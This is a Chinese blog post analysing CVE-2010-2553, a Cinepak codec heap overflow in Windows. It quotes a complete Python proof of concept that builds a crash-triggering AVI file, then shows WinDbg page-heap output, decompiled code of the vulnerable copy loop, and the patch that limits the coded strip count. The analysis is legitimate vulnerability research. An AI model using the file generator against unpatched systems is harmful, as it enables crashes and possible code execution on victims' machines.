CVE-2010-2553分析[漏洞战争]

CVE 2010-2553漏洞,也称为MicrosoftWindows Cinepak 编码解码器解压缩漏洞,影响的操作系统版本有:Microsoft Windows XP SP2和SP3,WindowsVista SP1和SP2,以及Windows 7。

漏洞原因在于Cinepak 编码解码器对媒体文件解压缩时代码控制不恰当,可导致远程代码执行。如果用户打开特制的媒体文件,此漏洞可能允许执行代码。如果用户使用管理用户权限登录,成功利用此漏洞的攻击者便可完全控制受影响的系统。

漏洞利用wmplay.exe,而wmplay.exe这个播放器在国内很少有人使用,如果被攻击者使用了第三方的视频播放软件,很难攻击成功,这可能也是这一漏洞不被分析重视的一大原因。

在exploit-db找到老外的poc

'''

  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/

http://www.exploit-db.com/moaub-26-microsoft-cinepak-codec-cvdecompress-heap-overflow-ms10-055/

'''

'''
  Title             : Microsoft Cinepak Codec CVDecompress Heap Overflow
  Version           : iccvid.dll XP SP3
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.microsoft.com
  Impact            : High
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-2553
  MOAUB Number      :
'''


import sys

def main():

    aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
    movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
    cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
    number_of_coded_strips = '\x00\x10'
    cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
    idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'

    avifile = open('poc.avi', 'wb+')
    avifile.write(aviHeaders)
    avifile.write(padding)
    avifile.write(movi_tag)
    avifile.write(cinepak_codec_data1)
    avifile.write(number_of_coded_strips)
    avifile.write(cinepak_codec_data2)
    avifile.write(idx_tag)

    avifile.close()
    print '[-] AVI file generated'

if __name__ == '__main__':
    main()

生成poc.avi后用wmplayer打开,直接崩溃。附加上windbg打开

看起来是iccvid.dll中iccvid!CVDecompress+0x11e出现的漏洞。

因为是堆溢出,我们这里开启页堆!gflag +hpa,页堆的机制就是在堆的末尾增加一个栅格,属性是不可访问。如果发生了堆溢出则会访问栅格造成异常。

发现edi就是页堆,即发生了堆溢出。

看看目的堆edi有多大

0:014> !heap -p -a edi
    address 075e7000 found in
    _DPH_HEAP_ROOT @ a1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 7b92c38:          75e5000             6000 -          75e4000             8000
    7c938f01 ntdll!RtlAllocateHeap+0x00000e64
    7c809a6f kernel32!LocalAlloc+0x00000058
    73b724a8 iccvid!CVDecompressBegin+0x00000080
    73b7c6a0 iccvid!DecompressBegin+0x00000214
    73b766a1 iccvid!DriverProc+0x00000198
    73b41938 MSVFW32!ICSendMessage+0x0000002b
    7cf8df19 quartz!CAVIDec::StartStreaming+0x00000278
    7cf8d164 quartz!CTransformFilter::Pause+0x00000060
    7cf8d0f2 quartz!CAVIDec::Pause+0x0000002f
    7cf8cf69 quartz!CFilterGraph::Pause+0x00000107
    7cf8ce93 quartz!CFGControl::Cue+0x00000032
    7cfa4584 quartz!CFGControl::CueThenRun+0x00000012
    7cfa44d7 quartz!CFGControl::CImplMediaControl::Run+0x0000002b
    491be351 wmp!CWMPGraph::InternalPlay+0x00000039
    491be300 wmp!CWMPGraph::Play+0x000000a8
    4917ff31 wmp!CWMPControl::InternalPlay+0x0000015c

可以看出这个堆有0x6000,此时ecx=0x800,所以每次复制0x800 * 4 = 0x2000个字节。然后我们看看这个函数的伪代码。

do
{
  if ( v29 < 0x16 )
    break;
  HIBYTE(v15) = *(_BYTE *)(v14 + 1);
  LOBYTE(v15) = *(_BYTE *)(v14 + 2);
  v31 = *(_BYTE *)(v14 + 3) | (v15 << 8);
  if ( v29 < v31 )
    break;
  if ( *(_BYTE *)v14 == 16 || *(_BYTE *)v14 == 17 )
  {
    if ( ULongSub(v31, 12, &a1) < 0 )
      goto LABEL_33;
    HIBYTE(v16) = *(_BYTE *)(v14 + 8);
    HIBYTE(v17) = *(_BYTE *)(v14 + 4);
    LOBYTE(v16) = *(_BYTE *)(v14 + 9);
    LOBYTE(v17) = *(_BYTE *)(v14 + 5);
    v18 = v16 - v17;
    LOWORD(v18) = *(_WORD *)(v7 + 46) * v18;
    a2 = v18;
    if ( v32 && !BYTE3(TotalLen) && *(_BYTE *)v14 == 17 )
    {
      qmemcpy(
        (void *)(*(_DWORD *)(v7 + 28) + v32),
        (const void *)(*(_DWORD *)(v7 + 28) + v32 - 0x2000),
        0x2000u);  // vuln here
      v14 = v26;
    }
    v19 = v30 + 12;
    v20 = v14 + 12;
    *(_DWORD *)(v7 + 56) = v32 + *(_DWORD *)(v7 + 32);
    v27 = v14 + 12;
    *(_DWORD *)(v7 + 60) = a7;
    while ( a1 >= 4 )
    {
      HIBYTE(v21) = *(_BYTE *)(v20 + 1);
      LOBYTE(v21) = *(_BYTE *)(v20 + 2);
      v22 = *(_BYTE *)(v20 + 3) | (v21 << 8);
      v24 = v22;
      if ( a1 < v22 )
        break;
      switch ( *(_BYTE *)v20 )
      {
        case 0x20:
        case 0x21:
        case 0x24:
        case 0x25:
          (*(void (__stdcall **)(int, _DWORD, _DWORD, _DWORD))v7)(
            v19,
            *(_DWORD *)(v7 + 56),
            *(_DWORD *)(v7 + 52),
            *(_DWORD *)(v7 + 48));
          break;
        case 0x22:
        case 0x23:
        case 0x26:
        case 0x27:
          (*(void (__stdcall **)(int, int, _DWORD, _DWORD))(v7 + 4))(
            v19,
            *(_DWORD *)(v7 + 56) + 4096,
            *(_DWORD *)(v7 + 52),
            *(_DWORD *)(v7 + 48));
          break;
        case 0x30:
          (*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 8))(
            v7,
            v19 + 4,
            v22 - 4,
            a4,
            a5,
            a6,
            a2);
          break;
        case 0x31:
          (*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 16))(
            v7,
            v19 + 4,
            v22 - 4,
            a4,
            a5,
            a6,
            a2);
          break;
        case 0x32:
          (*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 12))(
            v7,
            v19 + 4,
            v22 - 4,
            a4,
            a5,
            a6,
            a2);
          break;
        default:
          break;
      }
      v20 = v24 + v27;
      v23 = 1;
      v19 += v24;
      v27 += v24;
      if ( v24 > 1 )
        v23 = v24;
      a1 -= v23;
    }
    a6 += a7 * (signed __int16)a2;
    ++idx;
    v32 += 0x2000;
  }
  v30 += v31;
  v29 -= v31;
  v14 += v31;
  v26 = v14;
}
while ( idx < CodedStripNum );

可以看出,每次循环后,会将edi的地址增加0x2000,注意v32这个变量,第一次其实并没有复制,因为第一次v32为0,也就是说qmemcpy复制两次就会导致堆溢出。

分析一下PoC,根据CVID格式分析(https://multimedia.cx/mirror/cinepak.txt)

flag = 0x00
cvid长度 = 0x000068
coded frame宽度 = 0x1060
coded frame高度 = 0x1020
coded strip数量 = 0x0010

可以看出coded strip数量应该是小于3即可防止多次拷贝导致堆溢出。

patchdiff

patchdiff下发现pathc了这个函数,看看patch在哪

可以看出,对比了coded strip是否大于3,大于3则退出。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏進无尽的文章

扒虫篇-Debug几个实用的方法

Bebug调试程序是开发中最常见的问题,对于一些简单有效的调试技巧的了解是很有必要的。这篇文章就列举Debug中用到的一些简单的技巧。

24710
来自专栏前端知识铺

前端路由简介以及vue-router实现原理

简单来说路由就是用来跟后端服务器进行交互的一种方式,通过不同的路径,来请求不同的资源,请求不同的页面是路由的其中一种功能。

40360
来自专栏黑白安全

自助建站逻辑实现功能

PHP和Apache实现多用户自助建站 安装说明请查看附件 项目介绍 PHP+Apache实现多用户自助建站的系统Demo,只实现基本功能

30810
来自专栏Django中文社区

让 Django 完成翻译:迁移数据库

我们已经编写了博客数据库模型的代码,但那还只是 Python 代码而已,Django 还没有把它翻译成数据库语言,因此实际上这些数据库表还没有真正的在数据库中创...

35390
来自专栏吴老师移动开发

Flutter路由跳转及参数传递

做Android/iOS原生开发的时候,要打开一个新的页面,你得知道你的目标页面对象,然后初始化一个Intent或者ViewController,再通过star...

1.1K40
来自专栏Python小屋

Python网页注入挂马

技术是个双刃剑,要想更好地防范,首先应该知道对方是如何攻击的。这里不谈如何进入对方机器,只演示了一下如何修改目标主机上的文件实现注入。不可使用本文代码进行任何攻...

39750
来自专栏不想当开发的产品不是好测试

常用业务接口界面化 in python flask

背景: 对于业务测试来说,有一些基础业务接口是需要经常调用的,如根据userId查询某人的信息,修改某人的xx属性,一般的接口都有验签(或者说token)机制,...

259100
来自专栏云飞学编程

python简单应用!用爬虫来采集天猫所有优惠券信息,写入本地文件

随便找一段文字,然后点击右键查看网页源代码,看看是否存在该文字,如果存在,那么这个网页就是静态网站了!很幸运,这个网站居然是静态的。

14220
来自专栏西安-晁州

vuejs、eggjs、mqtt全栈式开发设备管理系统

vuejs、eggjs、mqtt全栈式开发简单设备管理系统 业余时间用eggjs、vuejs开发了一个设备管理系统,通过mqtt协议上传设备数据至web端实时展...

3K70
来自专栏葡萄城控件技术团队

SoapUI实践:自动化测试、压力测试、持续集成

16220

扫码关注云+社区

领取腾讯云代金券